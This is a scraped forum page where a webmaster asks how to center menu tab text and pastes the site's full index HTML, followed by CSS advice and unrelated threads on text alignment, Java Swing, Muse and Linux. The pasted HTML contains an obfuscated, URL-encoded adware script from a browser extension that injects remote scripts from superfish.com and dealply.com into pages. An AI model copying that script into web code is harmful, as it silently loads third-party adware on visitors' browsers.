Unable to center align text in menu tabs

following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
<!DOCTYPE html>
<!-- saved from url=(0022)http://www.arts.ac.uk/ -->
<html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <meta charset="utf-8">
      <title>Peace University USA - America's Leading Faithbased School</title>  <!-- Use the .htaccess and remove these lines to avoid edge case issues.
       More info: h5bp.com/i/378 -->
  <!-- Use the .htaccess and remove these lines to avoid edge case issues.
       More info: h5bp.com/i/378 -->
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <!-- navigation object : UAL: metaElement -->
    <meta charset="utf-8">
  <!-- Use the .htaccess and remove these lines to avoid edge case issues.
       More info: h5bp.com/i/378 -->
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Peace University USA - America's Leading Faithbased School</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Common Metadata Tags -->
    <meta name="robots" content="all">    <!-- Le HTML5 shim, for IE6-8 Support of HTML elements -->
    <!--[if lt IE 9]>
      <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    <!--[if !IE 6]><!-->
  <!-- Main style css -->
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
              <!-- Responsive style-->
            <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
        <!-- Application style-->
<link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
    <!--<![endif]-->
    <!--[if IE 7]>
      <link rel="stylesheet" type="text/css" media="screen" href="/media/artsacukstyleassets/component-library/ie7.css" />
    <![endif]-->
    <!--[if lte IE 6]>
      <link rel="stylesheet" href="http://universal-ie6-css.googlecode.com/files/ie6.0.3.css" type="text/css" />
    <![endif]-->
    <!-- The fav icons -->
    <link rel="shortcut icon" href="./images/favicon.ico">
    <!-- Load modernizr -->
   <script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
  <script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
  <style type="text/css">
  body {
          margin-left: 200px;
          overflow:hidden
  .n {
          text-align: center;
  </style>
</head>
  <!-- Apply a style to the body class -->
    <body class="ual">
    <!-- navigation object : UAL: headerElement -->
    <nav id="top-navigation-column-1" class="span2" role="navigation" >
              <!-- navigation object : Top Navigation Column 1 --> </nav>           
<a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
            <nav id="top-navigation-column-2" class="span3" role="navigation">
              <!-- navigation object : Top Navigation Column 2 -->
              <ul id="nav-sub" class="nav">
            </nav>         
<div id="top-navigation-column-3" class="span4">
          <!-- navigation object : Search_box_Include --><!-- Add Search form -->
              <div class="search-wrapper"></div>
          <!-- navigation object : Wayfinder_Include -->
    </div>
          </div>
        </header><!-- End of header -->
      </div><!-- End of row -->       <!-- Tabbed content -->
      <div class="tab-index">
        <div class="ual-tab">
            <figure>         <a href="http://www.faithinpeace.org">
              <img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px;    "> </a><!-- Main UAL Image -->
            <figcaption></figcaption>
          </figure>
                    <section class="ual-tab-scroll-text">
              <h2>
              </h2>
              <p class="teaser"></p>
          </section>
        </div>
        <nav class="ual-tabbed-content">
          <ul class="nav-bar">
            <li id="camberwell" class="has-flyout">
              <a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
            </li>
            <li id="csm" class="has-flyout">
              <a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
            </li>
            <li id="chelsea" class="has-flyout">
              <a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
            </li>
            <li id="lcc" class="has-flyout">
              <a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
            </li>
            <li id="lcf" class="has-flyout">
              <a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
            </li>
            <li id="wimbledon" class="has-flyout">
              <a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
            </li>
          </ul>
          <div class="flyout camberwell" data-role="camberwell" style="display: none; ">
            <a href="./index" title="Peace University USA">
              <img src="./images/home.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout csm" data-role="csm" style="display: none; ">
            <a href="./admissions.htm" title="We have a place for everyone">
              <img src="./images/admissions.png"  style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout chelsea" data-role="chelsea" style="display: none; ">
                     <a title="Academics" href="./academics.htm">
              <img src="./images/academics.png" alt="" style="width : 940px; height : 400px;    ">
                    </a>
          </div>
          <div class="flyout lcc" data-role="lcc" style="display: none; ">
<a title="Joining hands to strengthen resources" href="./collaborate.htm">
              <img src="./images/collaborate.png"  style="width : 940px; height : 400px;    ">
</a>
          </div>
          <div class="flyout lcf" data-role="lcf" style="display: none; ">
            <a href="digital.edu/lms/" title="Online Education @Peace">
               <img src="./images/vu.png" style="width : 940px; height : 400px;    ">
            </a>
          </div>
          <div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
            <a href="./contact.htm" title="Contact Us">
              <img src="./images/contact.png" alt="" style="width : 940px; height : 400px;    ">
            </a>
          </div>
        </nav>
      </div><div class="four-box-teasers row">
        <ul class="slide-teasers">
          <li class="has-slide span3">
            <h3>Media Arts and Design</h3>
            <a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Youth Engagement Platform</h3>
            <a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px;    "></a>
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                               <a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>Courses</h3>
            <img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                           <a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
              </p>
            </div>
          </li>
          <li class="has-slide span3">
            <h3>English Training Programs</h3>
            <img src="images/etp.png"  style="width : 220px; height : 110px;    ">
            <div class="slide-up slide-up-active" style="display: none; ">
              <p>
                <a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
              </p>
            </div>
          </li>
        </ul>
      </div><!-- navigation object : UAL: footerElement -->      <!-- Footer -->
      <footer id="footer">
        <div class="row">
          <section class="footer-links span12">
            <ul class="footer-links span6">
<!-- navigation object : UAL: footerLinks -->
              <li class="facebook">
              <a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>            
            </ul>
            <!-- Add PHP date function -->
                        <ul class="footer-links span6">
             <li><a href="http://eepurl.com/nj22f">
              Sign up for latest News |</a></li>             
              <li><a href="./contact.htm">
              Contact Us </a></li></ul>
          </section>
        </div>
      </footer>
    </div>    <!-- Javascript at the bottom for faster loading -->
    <script src="./index_files/jquery.min.js"></script>
    <script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>
<!-- Application Javascript-->
  <script type="text/javascript" src="./index_files/script.js"></script>
    <!-- Asynchronous Google Analytics snippet. Change UA-XXXXX-X to be your site's ID. -->
    <!-- mathiasbynens.be/notes/async-analytics-snippet -->
    <script>
      var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
      (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
      g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
      s.parentNode.insertBefore(g,s)}(document,'script'));
    </script>
<div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{&quot;imageCount&quot;:0,&quot;ip&quot;:&quot;182.177.144.206&quot;}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>

Have you tried adding the following css selector to your css file.
.nav-bar a {
    text-align: center;
or insert it in the <style> tag you have on the page:
  <style type="text/css">
  body {
    margin-left: 200px;
  .n {
    text-align: center;
.nav-bar a {
    text-align: center;
  </style>

Similar Messages

  • Problem with center aligned text when publishing

    Can anyone help me with this? I'm a bit desperate.
    I created blocks of text and center aligned them:
    Everything looked great but when I published all the text appeared left aligned.
    I tried everything but nothing seems to resolve this.
    Thank you in advance!
    Best regards,
    Paulo Moura

    Hi,
    Try exporting your file with the following settings to get a high quality GIF
    Dimensions   : Match movie
    Playback       : Animated
                        : Loop continuously
    Options         : Optimize colors
                        : Smooth
    Transparent   : Opaque
    Dither           : None
    Palette Type : Adaptive
    Max colors   : 99999
    Thanks!
    ps: please mark this post as Answered if this of any help to you

  • Center aligned Text in image

    Hai,
    I urgently need help. I want to create a jpg image which is totally white in this white image i draw some multiple line text which i want to write in the center of image. I send the Text as string to my class through servlet file. The string has some newline charatcer also. So can anybody tell me how can i draw image with center aligend text.
    I use Graphics2D class for drawing and with fontMetrics to get the length of my message string. But it is not fitted in image and crossing the limit of my image.
    My white image size is not fix i m using different kind of size white image.
    Thanx in advance

    import java.awt.*;
    import java.util.*;
    import javax.swing.*;
    import javax.swing.border.*;
    public class TextPanel extends JPanel
         public TextPanel(String text)
              setBackground( Color.WHITE );
              setBorder( new EmptyBorder(5, 5, 5, 5) );
              setLayout(new BoxLayout(this, BoxLayout.Y_AXIS));
              add( Box.createVerticalGlue() );
              StringTokenizer st = new StringTokenizer(text, "\r\n");
              while (st.hasMoreTokens())
                   JLabel line = new JLabel( st.nextToken() );
                   line.setFont( UIManager.getFont( "TextField.font" ) );
                   line.setAlignmentX(0.5f);
                   add( line );
              add( Box.createVerticalGlue() );
         public static void main(String[] args)
              String text =
                   "first line\n" +
                   "second line\n" +
                   "a line with more text\n" +
                   "another line";
              JFrame frame = new JFrame();
              frame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
              frame.getContentPane().add( new TextPanel( text ) );
              frame.pack();
              frame.setLocationRelativeTo( null );
              frame.setVisible(true);
    }

  • Aligning text the Menu Widget

    Menu Widget: Is it possible to align the text centered in the Menu Top-pages and left in the Menu Sub-pages?

    There's not a lot of control (any) for where the submenu itself is positioned, but you can align the text within the submenus using text alignment in the Text panel in the menu is set for Uniform Site. If the menu is set for Uniform Spacing you need to get more creative and double click until a submenu item is selected, then use the Spacing panel (unlock the chain icon) to increase the right padding value so the text appears left aligned.

  • How do I align text under a tab so that it does NOT return to the left margin when typing a paragraph?

    I am trying to type up presentation notes. I want a partial outline-format. Outline mode doesn't work for me because it won't conform to all I need it to do, I can make it work as a regular document; however, my big GLITCH is tabing for a new "bullet paragraph" and not being able to get all the text to align under that tab. Anyone know the answer to this problem?

    Ok, I ran into another problem......all was working fine until I tried to add bullet C. Now, I cannot type and align the paragraph for C correctly. When I align the paragraph, it keeps trying to pull the letter C with it. I want the letter C on one level of indent and the paragraph aligned on the next level. Any suggestions?
    Example:
    I.     aligned paragraph
         A. aligned paragraph
              aligned paragraph
         B. aligned paragraph
         C. this paragraph will not align.......it wraps back under the C and if I try to highligt just the paragraph part and indent it, the C goes with the paragraph........
    Hope this makes sense......appreaciate your help. I am kinda under a deadline to get this document completed. Thanks

  • Aligning text in titles tab...

    I was adding an end slide to my movie, like many movies end with.. The End.... on a black slide, the title isnt centered, its closer to the right end of the screen.. How do i centre the titles.?
    Thanks

    I'm sorry. I am new at Java so some of these concepts that may be clear to you aren't as obvious to me.
    I inserted the code as you instructed. However, I am not sure if I have to include something else.
    Please advise:
    import javax.swing.*;
    public class HelloClassTwoLine
    public static void main(String args[])
    JTextArea outputTextArea = new JTextArea(); //Create listbox object
    JScrollPane scroll= new JScrollPane(outputTextArea); //create vertical scroll object
    ===> added to original code JTextField textField=new JTextField();
    ===> added to original code textField.setHorizontalAlignment(textField.CENTER);
    outputTextArea.setText("Hello, This is Java 374\n" + //set text in list box
    "This is Java 374 with Ravi");
    JOptionPane.showMessageDialog(null, scroll, //text is argument in JScrollPane object
    "Java Program #2", JOptionPane.INFORMATION_MESSAGE);
    System.exit(0);
    thank you again for your help
    }

  • Awesome menu center align

    Hi guys, just wondering if anyone knows if its possible to center align the awesome menu (mod4+w one).  I have looked everywhere and can't seem to find a solution.
    Thanks!

    Hello specialblend, and welcome on board. Could you elaborate what you mean with center align? Do you simply mean centering the menu on screen? That would be as easy as modifying /usr/share/awesome/lib/awful/menu.lua, at line ~320 (~144 in the git version), you could remove / comment out the lines marked with a "-" and add the lines marked with a "+":
    _menu.x = _menu.parent.x + w + _menu.width > screen_w and
    _menu.parent.x - _menu.width or _menu.parent.x + w
    else
    - if m_coords == nil then
    - m_coords = capi.mouse.coords()
    - m_coords.x = m_coords.x + 1
    - m_coords.y = m_coords.y + 1
    - end
    - _menu.y = m_coords.y < s_geometry.y and s_geometry.y or m_coords.y
    - _menu.x = m_coords.x < s_geometry.x and s_geometry.x or m_coords.x
    - _menu.y = _menu.y + _menu.height > screen_h and
    - screen_h - _menu.height or _menu.y
    - _menu.x = _menu.x + _menu.width > screen_w and
    - screen_w - _menu.width or _menu.x
    + _menu.x = (screen_w - _menu.width)/2
    + _menu.y = (screen_h - _menu.height)/2
    end
    _menu.wibox.x = _menu.x
    _menu.wibox.y = _menu.y
    The code in this sections checks whether the menu in question has a parent. If not (the else block), we assign the half the screen width, resp. height minus the menu width, resp. height to the menus x/y coordinates. Yours could look slightly different when you are using the stable package.
    (To comment out a line in lua, preceed it with a "--")
    Last edited by Wey (2012-10-29 08:20:52)

  • How do I left justify the text in the tabs of a JTabbedPane.

    In 1.3.1 this used to work by supplying an HTML string with <div align="left"> but when I run with 1.4.1 this is now broken and I get center justification.
    Does anybody know a way to get the text in the tabs to be left justified.
    Thanks,
    Philip

    First, I found while using JTabbedPane that the "standard" behavior is to allow to a tab the exact space needed to display the tab text. Hence with this behavior, there is actualy no difference of "left" or "center" aligned text. So I assumed that you found a way or another to make your tabs wider than the "string width"...
    Here is a solution:
    You can override the TabbedPaneUI class and ajust the "layoutLabel()" method. Here is the code..
    //Your code using the tabbedPane
    JTabbedPane tp = new JTabbedPane();
    tp.setUI(new LeftTabbedPaneUI());
    //File containing the overrided TabbedPaneUI
    import javax.swing.*;
    import java.awt.*;
    import java.awt.event.*;
    import java.util.*;
    import javax.swing.text.View;
    class LeftTabbedPaneUI extends javax.swing.plaf.metal.MetalTabbedPaneUI {
            //I also overrided this function just to force tabs wider than
            //the displayed "String Width". I asume that you found another
            //way to do this so you can delete this function in your
            //implementation
         protected int calculateTabWidth(int tabPlacement, int tabIndex, FontMetrics metrics){
              return 150;
        protected void layoutLabel(int tabPlacement,
                                   FontMetrics metrics, int tabIndex,
                                   String title, Icon icon,
                                   Rectangle tabRect, Rectangle iconRect,
                                   Rectangle textRect, boolean isSelected ) {
            textRect.x = textRect.y = iconRect.x = iconRect.y = 0;
         View v = getTextViewForTab(tabIndex);
         if (v != null) {
             tabPane.putClientProperty("html", v);
         //This Line is added to avoid writing on tab border while aligned to left.
         //You can comment this line to test and or adjust the "5" pixel space
         Rectangle rec = new Rectangle(tabRect.x+5,tabRect.y,tabRect.width,tabRect.height);
            SwingUtilities.layoutCompoundLabel((JComponent) tabPane,
                                               metrics, title, icon,
                                               SwingUtilities.CENTER,
                                               SwingUtilities.LEFT,
                                               SwingUtilities.CENTER,
                                               SwingUtilities.TRAILING,
                                               rec,
                                               iconRect,
                                               textRect,
                                               textIconGap);
         tabPane.putClientProperty("html", null);
         int xNudge = getTabLabelShiftX(tabPlacement, tabIndex, isSelected);
         int yNudge = getTabLabelShiftY(tabPlacement, tabIndex, isSelected);
         iconRect.x += xNudge;
         iconRect.y += yNudge;
         textRect.x += xNudge;
         textRect.y += yNudge;
    }Here I overrided the "Metal" implementation of the tab but you must override the implementation of the used Look And Feel,
    ex. "com.sun.java.swing.plaf.window.WindowsTabbedPaneUI" for the windows LAF.

  • How to Center Text in Menu and Left Align in Sub Menu

    Hi - I'm looking to Center the text in the main menu of a Spry Menu in DW CS 5.5 but left align the sub menu's.
    If someone could point me in the right direction it would be much appreciated.
    Thanks
    J

    See here http://labs.adobe.com/technologies/spry/samples/menubar/CenteringHorizontalMenuBarSample.h tml
    Gramps

  • 10.6.8 Unable to click in text boxes or on utility menu at top of screen, Dock icons lead to containing folders instead of programs

    As stated in my subject, periodically I become unable to click in text boxes (in my browser, addresses/search) and am also unable to click on the various icons in the utility bar at the top of the screen such as bluetooth and volume control etc.  Also, when this occurs if I click on Applications or one of my Dock icons it leads to the containing folder as a destination instead of the program itself.  It resolves itself after awhile, but I can fix it immediately by unplugging my mouse and plugging it back in.  At that point, everything works fine as if nothing ever happened.  What is strange to me is that it fazes in and out, while being able to return to being fully operational.

    Have you tried adding the following css selector to your css file.
    .nav-bar a {
        text-align: center;
    or insert it in the <style> tag you have on the page:
      <style type="text/css">
      body {
        margin-left: 200px;
      .n {
        text-align: center;
    .nav-bar a {
        text-align: center;
      </style>

  • How to put a tab space in a center aligned paragraph and have it remained centered?

    I am trying to put a tab spacing within a paragraph that is center aligned but when I press the tab button it pushes the paragraph to the left. How do I solve the problem? I have several lines I need to do this for so adjusting it one but one is a bit tedious.

    I don't use Captchas because they are not web friendly.  Humans have a hard time reading them which often leads to form submission failures and frustration.  I much prefer the Honeypot (hidden input field) method.  It traps spam bots who cannot resist filling in fields because they don't use CSS or JavaScript.  If the hidden field contains any characters, your form processing script can be set-up to flag that as spam and abort the submission.  Humans never see the hidden field, so it works seamlessly behind the scenes.   There's no limit on how many hidden form fields you can have on a page.
    Nancy O.

  • How to align text(left, right or center) on a button?

    I can not figure out how to align text on a button,
    could someone help me out?
    Thanks in advance

    JButton btn=new JButton("hi");
    btn.setHorizontalAlignment(int i)
    i=0 center
    i=2 left
    i=4 right

  • Is it possible to use tabs to right align text in Muse, as you can in InDesign?

    Can I use tabs to right align text in Muse, as you can in InDesign?
    I have a beauty treatment followed by a price and I want to right align the price, keeping the treatment on the left of the text box.
    Thank you!

    For what would typically be a two column tab stop layout, I'd generally use inline text frames and the Wrap panel.
    Put the price in it's own text frame. Then cut and paste the text frame BEFORE the item name so it's an inline text frame within the text frame containing the descriptions.Using the Wrap panel set it to float to the right. Then select it and set the right offset so it floats outside the right side of the original text frame.
    Start with this.
    Cut and paste the text frame at the start of the item paragraph.
    Choose the third icon in the Wrap panel to cause the item to float to the right of the text frame.
    Turn off the lock for the 4 wrap offset values.
    Adjust the right offset to a negative value so the item is outside the text frame to the right (to wherever you want it).
    Repeat the same steps above for the other items.
    Note that once it's set up this way you can freely edit the descriptions or change the width of the original text frame and the prices will adjust accordingly. This will also result in things lining up in the browser even if the text layout engine of a specific browser line breaks the text differently.
    This approach is tedious, but the end result will continue to line up as you make changes in Design view and will line up in every browser/OS/device.
    Someday Muse will support tables, which would be the more natural way to achieve this style of layout on the web. Until then, inline items with wrap is usually the best approach for this type of two column layout.

  • Unable to Create Certifications Menu Tab in sysdmin console of 11g R2 PS1

    Hi All,
    I installed 11g R2 PS1 Successfully. But i am unable see the Certifications menu tab in Sysadmin console.
    Can anyone please let me know how to resolve this issue.
    I applied following patches.
    Patch Numbers :
    16385074
    13913356
    16024267
    14196234
    16366204
    16478722
    Regards,
    idmr2

    This can happen due to OIM-LDAP wrong attribute mapping/value getting passed.
    Can you please first try with OOTB attributes and see how it behaves?
    J

  • How do you center align a Text Field box?

    The center align tool is grayed out.

    Hi,
    Sorry, formsCentral currently does not support alignment of the actual field box.  You can select the different alignment choices for the text label of the field.
    Thanks,
    Lucia

Maybe you are looking for

  • How do I get rid of a deleted iCloud account? It keeps popping up on my iPad

    I deleted an email address for iCloud but I still get a pop up to sign into the Apple account with the deleted email address.  how do I stop the Apple sign in pop up.  I established a New email and password for my apple account but need to get rid of

  • State of DNS after Domain rename

    Hi all Still learning DNS and want to add secondary DC I initially set this up as a mydomain.local as I believed that was best practice. When researching SSL certificates I realised that it was now supposedly best practice to use mydomain.com. I did

  • Numeric pad instead of qwerty

    Hello, I only got my iphone 3gs on Friday. But, I'm surprised that it's only got a qwerty keybpard for text. How come it hasn't got a numeric pad for predictive text? Is one available anywhere? I love the phone. But it's little niggles like this that

  • Lightroom or Bridge, which is best to change 20m photo names

    I would like to completely change the naming structure of approximately 20,000 images and would like to hear opinions on which program, Lightroom or Bridge, to use and if there are any precautions with either program that I should be aware of.

  • Anything wrong with this repo?

    following the beginners guide on wiki, doing the rankmirror It says my best option is mirror.neotuli.net second best is homes.umflint.edu third is ftp.archlinux.org 4th mrrors.easynew.com I am in USA, Oklahoma any suggestions.